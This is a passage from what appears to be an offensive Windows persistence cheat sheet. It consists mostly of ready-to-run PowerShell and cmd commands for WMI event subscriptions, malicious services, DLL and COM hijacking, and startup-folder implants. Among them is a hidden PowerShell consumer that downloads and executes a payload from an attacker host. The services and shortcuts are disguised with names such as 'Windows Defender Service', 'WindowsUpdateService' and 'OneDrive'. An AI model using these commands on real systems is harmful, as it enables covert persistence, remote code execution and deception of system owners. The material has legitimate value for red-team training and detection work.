$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = $consumerName
$consumer.CommandLineTemplate = "powershell.exe -WindowStyle Hidden -NoProfile -Command `"IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/payload.ps1')`""
$consumer.RunInteractively = $false
$consumerResult = $consumer.Put()
# Bind filter to consumer
$bind = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$bind.Filter = $filterResult.Path
$bind.Consumer = $consumerResult.Path
$bind.Put()
# Alternative: Logon-based trigger
$filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
# Alternative consumer types
# ActiveScriptEventConsumer (VBScript/JScript)
$consumer = ([wmiclass]"\\.\root\subscription:ActiveScriptEventConsumer").CreateInstance()
$consumer.Name = "ScriptConsumer"
$consumer.ScriptingEngine = "VBScript"
$consumer.ScriptText = "CreateObject(""WScript.Shell"").Run ""powershell.exe -c <COMMAND>"", 0"
$consumer.Put()
# Enumerate existing WMI subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Remove WMI persistence (cleanup)
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='$filterName'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='$consumerName'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%$filterName%'" | Remove-WmiObject
Service Creation#
Install Windows service to execute payload.
:: Create service with sc.exe
sc create "WindowsUpdateService" binPath= "C:\Windows\Temp\payload.exe" start= auto DisplayName= "Windows Update Service"
:: Start service
sc start "WindowsUpdateService"
:: Configure service to restart on failure (persistence)
sc failure "WindowsUpdateService" reset= 86400 actions= restart/60000/restart/60000/restart/60000
:: Query service
sc query "WindowsUpdateService"
sc qc "WindowsUpdateService"
:: Delete service (cleanup)
sc stop "WindowsUpdateService"
sc delete "WindowsUpdateService"
PowerShell Service Creation#
# Create service
New-Service -Name "WindowsDefenderService" -BinaryPathName "C:\Windows\System32\payload.exe" -DisplayName "Windows Defender Service" -StartupType Automatic -Description "Windows Defender real-time protection service"
# Modify existing service (if you have permissions)
Set-Service -Name "ServiceName" -StartupType Automatic
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName" -Name "ImagePath" -Value "C:\Windows\Temp\payload.exe"
# Start service
Start-Service -Name "WindowsDefenderService"
# Verify service
Get-Service -Name "WindowsDefenderService"
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "WindowsDefenderService"}
# Remove service
Stop-Service -Name "WindowsDefenderService"
Remove-Service -Name "WindowsDefenderService" # PowerShell 6+
# Or
sc.exe delete "WindowsDefenderService"
DLL Hijacking#
Place malicious DLL in search path to be loaded by legitimate application.
# Find DLL search order for application
# Tools: Process Monitor (Procmon), PowerShell
# Common hijackable DLLs and locations:
# - %SYSTEMROOT%\System32\
# - Application directory
# - %PATH% directories
# Example: Hijack version.dll (commonly searched)
# 1. Identify application that loads version.dll from writable location
# 2. Create proxy DLL that loads legitimate DLL and executes payload
# 3. Place malicious DLL in application directory
# PowerShell: Find writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
if (Test-Path $_) {
$acl = Get-Acl $_
if ($acl.Access | Where-Object {$_.FileSystemRights -match "Write" -and $_.IdentityReference -match "Users"}) {
Write-Host "Writable: $_"
}
}
}
# Find missing DLLs in running processes (opportunities for hijacking)
# Use Procmon with filter: Result is "NAME NOT FOUND" and Path ends with ".dll"
COM Hijacking#
Modify registry to hijack CLSID, loading malicious DLL when COM object instantiated.
# Find COM objects for hijacking
# Look for CLSIDs with InprocServer32 (DLL-based COM objects)
# Example: Hijack {CLSID}
$clsid = "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" # Example CLSID
# Copy original COM registration to HKCU (take precedence over HKLM)
Copy-Item -Path "HKLM:\Software\Classes\CLSID\$clsid" -Destination "HKCU:\Software\Classes\CLSID\$clsid" -Recurse
# Modify InprocServer32 to point to malicious DLL
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\Users\Public\malicious.dll"
# Verify
Get-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
# When application instantiates this COM object, malicious DLL loads
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
Startup Folder#
Place executable or shortcut in startup folder for execution at logon.
# Current user startup folder
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item -Path "C:\temp\payload.exe" -Destination "$startupPath\WindowsUpdate.exe"
# All users startup folder (requires admin)
$allUsersStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item -Path "C:\temp\payload.exe" -Destination "$allUsersStartup\SystemMaintenance.exe"
# Create LNK shortcut (less obvious)
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$startupPath\OneDrive.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1"
$Shortcut.WorkingDirectory = "C:\temp"
$Shortcut.Save()
# Verify
Get-ChildItem -Path $startupPath
Get-ChildItem -Path $allUsersStartup
# Cleanup
Remove-Item -Path "$startupPath\WindowsUpdate.exe" -Force
Remove-Item -Path "$startupPath\OneDrive.lnk" -Force